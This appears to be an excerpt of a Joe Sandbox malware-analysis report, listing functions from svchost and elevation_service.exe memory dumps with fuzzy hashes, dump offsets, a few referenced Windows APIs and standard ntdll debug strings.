Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76ac7142098ad94cd09c79c106ec0e211a82ec0b5c4bba6e721acdedfd9bd470
Instruction ID: e6ec6445716d0cc5201552ac41459db3133a20f946cc127b3a0ba35b9e94a17f
Opcode Fuzzy Hash: 76ac7142098ad94cd09c79c106ec0e211a82ec0b5c4bba6e721acdedfd9bd470
Instruction Fuzzy Hash: 8990022160140912D20171588444617400B87D03C1FD5C022A2024559ECA358A92A131

Function 02F72E30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6000688fdf554e5d47ca22c830234e1b8b70d763dc9c18963cadd576678e515d
Instruction ID: ae6a3a0342bbe6a14892aca1bddfda12de2212ed9c1e7eb86337fc29c2e709a1
Opcode Fuzzy Hash: 6000688fdf554e5d47ca22c830234e1b8b70d763dc9c18963cadd576678e515d
Instruction Fuzzy Hash: 5A90022130140812D20271588454607400AC7D13C5FD5C012E2424559D86358A53A132

Function 02F72FE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d30de956833180121738e41d5a66d2e7f80e91669b0fb633c6a50877d20526a
Instruction ID: d150770c63ea00edeb6ac27b7e35b988931780506cd753a4a31df31912c84ef6
Opcode Fuzzy Hash: 1d30de956833180121738e41d5a66d2e7f80e91669b0fb633c6a50877d20526a
Instruction Fuzzy Hash: 3A900221211C0452D30075688C54B07400687D0383F95C115A1154558CC92589615521

Function 02F72FB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4522a7cb054b2eb74488f4cb4419fba280ef8f6c39345cf440fb0e16bdf464db
Instruction ID: c664a66bc4b69a55de803b292a9c0a5b0e2ae98e39b5c5cc93bb64baa3aee922
Opcode Fuzzy Hash: 4522a7cb054b2eb74488f4cb4419fba280ef8f6c39345cf440fb0e16bdf464db
Instruction Fuzzy Hash: A99002216014045242407168C8849078006ABE1391795C121A1998554D856989655665

Function 02F72FA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 592d573333434ff54c76b6feefb0622e5f30707c004abb97e4efbecf7d1580a8
Instruction ID: 014c8481ed9d033626ec0f60d6a9ab7ed1649671d115eb510b854b7c8ae88a4c
Opcode Fuzzy Hash: 592d573333434ff54c76b6feefb0622e5f30707c004abb97e4efbecf7d1580a8
Instruction Fuzzy Hash: 7D90023120180812D20071588848747400687D0382F95C011A6164559E8675C9916531

Function 02F72F90 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c737d04a150e156af8fe72b145790d6d380bb1889f0348186e9bdfe568fbe15b
Instruction ID: cf5164f095b21fd25ed4caca889ed82f760e53699432638f3744bb3c9263a8fb
Opcode Fuzzy Hash: c737d04a150e156af8fe72b145790d6d380bb1889f0348186e9bdfe568fbe15b
Instruction Fuzzy Hash: DB90023120180812D2007158885470B400687D0382F95C011A2164559D863589516571

Function 02F72F60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 346ae33dbc9595dde14f9b83299b85ce8b07e732047857de2dee8921c9a9c115
Instruction ID: ee48515411b593ef6910d2bbeb649bdc0809f6632f1f5f3afb3cd3a0da1f553f
Opcode Fuzzy Hash: 346ae33dbc9595dde14f9b83299b85ce8b07e732047857de2dee8921c9a9c115
Instruction Fuzzy Hash: 0C90026121140452D20471588444707404687E1381F95C012A3154558CC5398D615125

Function 02F72F30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac7b521c68951d1d1b3d3569097dc821d336104472e8f5c7de928508f9c64f5
Instruction ID: be8d6f0e2397ba7acd55e19097630d1c657647c5d0f26eea035180a3c1308dc4
Opcode Fuzzy Hash: 7ac7b521c68951d1d1b3d3569097dc821d336104472e8f5c7de928508f9c64f5
Instruction Fuzzy Hash: 9F90026134140852D20071588454B074006C7E1381F95C015E2064558D8629CD526126

Function 02F72CF0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e3b2926733911ada972da393807bd88734629e85860e80f9e154d3eeca5bb7
Instruction ID: 489e3af334b05d113b09812c9eab8159772f0f4045c5431a5d09c21b8f0432ef
Opcode Fuzzy Hash: 78e3b2926733911ada972da393807bd88734629e85860e80f9e154d3eeca5bb7
Instruction Fuzzy Hash: BD90023120140813D20071589548707400687D0381F95D411A142455CDD66689516121

Function 02F72CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4a2a71024421de9bb6928e80584faf6209272573d9615bb5aa0d5093889a076
Instruction ID: c27a7fd2d6659dc1d47dba9644662f839c5e9972acc18fedec95d6da50498bcb
Opcode Fuzzy Hash: c4a2a71024421de9bb6928e80584faf6209272573d9615bb5aa0d5093889a076
Instruction Fuzzy Hash: 7790022160540812D24071589458707401687D0381F95D011A1024558DC6698B5566A1

Function 02F72CA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35ddc65ff71134dc27f41b91ba72688ea3811831bb95fdf412e34763d5c6d942
Instruction ID: f8c55d04676976a4f8a0fe12c7c954296afe69670706be88980c272604cd766a
Opcode Fuzzy Hash: 35ddc65ff71134dc27f41b91ba72688ea3811831bb95fdf412e34763d5c6d942
Instruction Fuzzy Hash: 6F90023120140812D20075989448647400687E0381F95D011A6024559EC67589916131

Function 02F72C70 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3833d978aed9358b95aaebd5226c3b85ba58bd06e107e60b9ce7a27e5b60cda0
Instruction ID: 53e3dd2c38f45f97de1473147925b0259d80ce3fe2724691b16c318076f07c40
Opcode Fuzzy Hash: 3833d978aed9358b95aaebd5226c3b85ba58bd06e107e60b9ce7a27e5b60cda0
Instruction Fuzzy Hash: 6490023120148C12D2107158C44474B400687D0381F99C411A542465CD86A589917121

Function 02F72C60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee85e8988b5a1fe9753ced154ce5d56cb6587237d10ee234fb84f89cc5dc65d2
Instruction ID: 3b1b2835c82cfeca7b1995633a10cb1b063eb0de561002f7d6f65da5571261ae
Opcode Fuzzy Hash: ee85e8988b5a1fe9753ced154ce5d56cb6587237d10ee234fb84f89cc5dc65d2
Instruction Fuzzy Hash: BC90023120140C52D20071588444B47400687E0381F95C016A1124658D8625C9517521

Function 02F72DD0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a95e4eee8834769e57df19572c56c3e5009e1df467389b471e5d9bf4fc00442
Instruction ID: 3b039ebd4e63f11507eb45e397870b9f0a44b633512dacdf8a380987a1ceb131
Opcode Fuzzy Hash: 6a95e4eee8834769e57df19572c56c3e5009e1df467389b471e5d9bf4fc00442
Instruction Fuzzy Hash: C3900221242445625645B1588444507800797E03C17D5C012A2414954C85369956D621

Function 02F72DB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9acffa3b941d46fd34969325b3d6696316e4f75731f1f6db5bef05db088315b
Instruction ID: 7a9f2c784e4076fa2936c44fa67f3e9ab6f7e442748f3a1d2f0d24d790dd687f
Opcode Fuzzy Hash: d9acffa3b941d46fd34969325b3d6696316e4f75731f1f6db5bef05db088315b
Instruction Fuzzy Hash: B990023124140812D24171588444607400A97D03C1FD5C012A1424558E86658B56AA61

Function 02F73D70 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b90f533c82626eb5923dedf542d29883ce5dd20343036100f635375c1b846d9b
Instruction ID: 8d2080def9deb3347d6915562e05402f249abde8a383b633fdd9508864394038
Opcode Fuzzy Hash: b90f533c82626eb5923dedf542d29883ce5dd20343036100f635375c1b846d9b
Instruction Fuzzy Hash: 6090023520140812D61071589844647404787D0381F95D411A142455CD866489A1A121

Function 02F72D30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d7e844dd12f2e80fa8743f51ac078f02b8bcce4c67bc363c1c7f2b74b334d66
Instruction ID: 5e801efa99b769e1f3e593a3a2848e1e5fd5eb25c5843d30e341e0d747908486
Opcode Fuzzy Hash: 8d7e844dd12f2e80fa8743f51ac078f02b8bcce4c67bc363c1c7f2b74b334d66
Instruction Fuzzy Hash: 1B90022130140413D240715894586078006D7E1381F95D011E1414558CD92589565222

Function 02F72D10 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc53474ad0d7a706614ef9ea569595c38e226ef0b0bdc140c0fca83b17ad8e46
Instruction ID: 35b4c63025f7f4e4cedd62f7fc094acbb690ab4edf467d2c5c990896fa4aff3c
Opcode Fuzzy Hash: dc53474ad0d7a706614ef9ea569595c38e226ef0b0bdc140c0fca83b17ad8e46
Instruction Fuzzy Hash: 4B90022921340412D2807158944860B400687D1382FD5D415A101555CCC92589695321

Function 02F73D10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 380f427573cc4afb4438fa162afb5f9491e28c676b5f3dcedaea93785d690bcc
Instruction ID: b828780c6310ce29f592235413ace4139a1f4d484d0d3d2e531a88afa4c6f673
Opcode Fuzzy Hash: 380f427573cc4afb4438fa162afb5f9491e28c676b5f3dcedaea93785d690bcc
Instruction Fuzzy Hash: 6190023120240552964072589844A4F810687E1382BD5D415A1015558CC92489615221

Function 02F72D00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b239f7cfa362f3967171c4158bfd5561953d9d52e9e6226e5bb2472f87c6b700
Instruction ID: 6c803c10ddca198412d83853ab8b51d31305523223596316ed09e6af10420710
Opcode Fuzzy Hash: b239f7cfa362f3967171c4158bfd5561953d9d52e9e6226e5bb2472f87c6b700
Instruction Fuzzy Hash: 8D90022120544852D20075589448A07400687D0385F95D011A2064599DC6358951A131

Function 02F72C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 65e5256bdf13a58bb659f25a7a57238f9c057c83d9dd8f62f93113ab387b9ee0
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Function 02F72890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 02F7293C
___swprintf_l.LIBCMT ref: 02F7295E
___swprintf_l.LIBCMT ref: 02F729A3
___swprintf_l.LIBCMT ref: 02FAA52E

Strings

::%hs%u.%u.%u.%u, xrefs: 02FAA527
::ffff:0:%u.%u.%u.%u, xrefs: 02FAA54E
ffff:, xrefs: 02FAA504
:%u.%u.%u.%u, xrefs: 02FAA5B8

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 389922a347fcda8d403d7502f4bf903b5e26e42a43d91d3d4f8c8943a005b1b1
Instruction ID: 9286b6efb93f2a3682e29574b405e1b32e647c43da7f7bb0eeb84047409b85b8
Opcode Fuzzy Hash: 389922a347fcda8d403d7502f4bf903b5e26e42a43d91d3d4f8c8943a005b1b1
Instruction Fuzzy Hash: 9151F9B6F00116BFDB10DB98CCA0A7EF7B8BB08280754816AEA95D7641D774DE44DBA0

Function 02F67630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 02FA4655
CLIENT(ntdll): Processing section info %ws..., xrefs: 02FA4787
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 02FA4742
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 02FA46FC
Execute=1, xrefs: 02FA4713
ExecuteOptions, xrefs: 02FA46A0
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 02FA4725

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: f7c3ace46f104b553765f8d0b9e580fc61540b3eabf41e65eec2087fc834e4d8
Instruction ID: 83bf79866da9da761f5e5572c7927d80a2ea43609c6191eef2c90aa1a903ec4f
Opcode Fuzzy Hash: f7c3ace46f104b553765f8d0b9e580fc61540b3eabf41e65eec2087fc834e4d8
Instruction Fuzzy Hash: A9510B71A0021D6AEF11BA64DC59FFEB7B9EF04388F1401A9D705A7190D771AE45CF50

Function 02F7B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 02F7B6BF

Strings

-, xrefs: 02F7B650
+, xrefs: 02F7B65A
0, xrefs: 02F7B66F
0, xrefs: 02F7B695

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction ID: cca5d9ad3feccc01f6c82c67f7f591ccae7c40041cd8b011036920584a3de485
Opcode Fuzzy Hash: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction Fuzzy Hash: 5E81A670E0524D9EDF24CF68C891BFE7BB2AF4639CF18425BDA51A7290C7349942CB51

Function 02F5F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 02FA031E
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 02FA02E7
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 02FA02BD

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: bbc892e5b967f27be236302a5b70c1f69520ef0bd79f46c0540dd6d2090e49c2
Instruction ID: 695597eaae085119a80ef5f6ff03d4185ad8666dd827d12e641e729a991f449b
Opcode Fuzzy Hash: bbc892e5b967f27be236302a5b70c1f69520ef0bd79f46c0540dd6d2090e49c2
Instruction Fuzzy Hash: 0EE1D071A087419FD724CF28D894B2AB7E1BF85394F140AADFB958B6D0DB74D844CB42

Function 02F6BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 02FA7BAC
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 02FA7B7F
RTL: Resource at %p, xrefs: 02FA7B8E

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: a08b39de8a8558ea9383663cfa65ebc69bffaa01948b49f91d2c14b83d1b25f3
Instruction ID: b735a0115d9f78f5169e9bba4a583801c52b5586788d2f42bb93ebc6bef027cc
Opcode Fuzzy Hash: a08b39de8a8558ea9383663cfa65ebc69bffaa01948b49f91d2c14b83d1b25f3
Instruction Fuzzy Hash: BB41C272B017029FD724DE25CC50B6AB7E6EF88794F100A2DEA56EB690D770E405CB91

Function 02F6B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02FA728C

Strings

RTL: Re-Waiting, xrefs: 02FA72C1
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 02FA7294
RTL: Resource at %p, xrefs: 02FA72A3

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: 0d0978ebfbf658e7923e1227555eef8363fc950b1854dc01ce2c3e198b00a950
Instruction ID: 4f13794b748ea3020925b1a2aa376555f96a233273bb1358f2ecf983bfb05aa3
Opcode Fuzzy Hash: 0d0978ebfbf658e7923e1227555eef8363fc950b1854dc01ce2c3e198b00a950
Instruction Fuzzy Hash: 3E41E372B00246ABD720DE25CD41F6AB7E5FF54794F100629FA55EB680DB20E802CBD1

Function 02F77D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 02F77E8B

Strings

+, xrefs: 02F77DE8
-, xrefs: 02F77DDD

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction ID: 3ecdf22d0b75ef8fe04d84a217ffeef8b974157756ca3960525641be100de758
Opcode Fuzzy Hash: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction Fuzzy Hash: 7D91A371E102169BDB24EE69C980BFEF7A5EF447A4F14461BEA65EB2C0D7309940CB90

Function 02F39126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

@, xrefs: 02F39175
$, xrefs: 02F39191

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: b0bdf6739e1b32254684ff3fc57de4734b1a6c6b73792b808323c1d2bb16b0aa
Instruction ID: 90893a812f4d401d58cf4182aa6af20c10aa8f3a9d212fe25e064f8e1ef12de3
Opcode Fuzzy Hash: b0bdf6739e1b32254684ff3fc57de4734b1a6c6b73792b808323c1d2bb16b0aa
Instruction Fuzzy Hash: 01810C72D012699BEB31DF54CC44BEEB7B4AF48754F0041EAAA19B7680D7709E84CFA0

Analysis Process: elevation_service.exePID: 7224, Parent PID: 620COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	98.1%
Signature Coverage:	0%
Total number of Nodes:	106
Total number of Limit Nodes:	7

Executed Functions

Function 009952A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 009953C4

Memory Dump Source

Source File: 0000000B.00000002.2965615833.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 7e1f51885664d4502edf64c1499c77b036275aacca76b39c856f677499d9dcd5
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: A241E55140DE95CFDF27432C48662777BA89B223E2F9F08D7D496CA0F2E19C4C819726

Function 009B0080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 009B03E0

Memory Dump Source

Source File: 0000000B.00000002.2965615833.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction ID: 318193acf0547fbb5b573026f16a91d4196d427215b1f93992e386db591f7248
Opcode Fuzzy Hash: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction Fuzzy Hash: 1AD1E43151CB0D8BC728EF58D94A7EBB7D5FBE0320F184A1ED846C7164DA789A458AC2

Function 00998070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2965615833.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction ID: 0a4014a1951fa1c364b71e9d3b7041d8048a6752aa969b61b9256ea71c967e7e
Opcode Fuzzy Hash: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction Fuzzy Hash: 9F61433060CA459FDF758B2C881877B7BA8FB57390F680A5EE45BC31A0DF288C468352

Function 00995B09 Relevance: 3.1, APIs: 2, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2965615833.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: b1c092ac289358fcd98f21ad272b8a8429bc7eb2b7edbf372381929755e1c95a
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 6A01927010DF468FDF67572C9C1837B77D4AB55324F2B09ABC4C7CA0D5EA684905A712

Function 00995910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2965615833.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

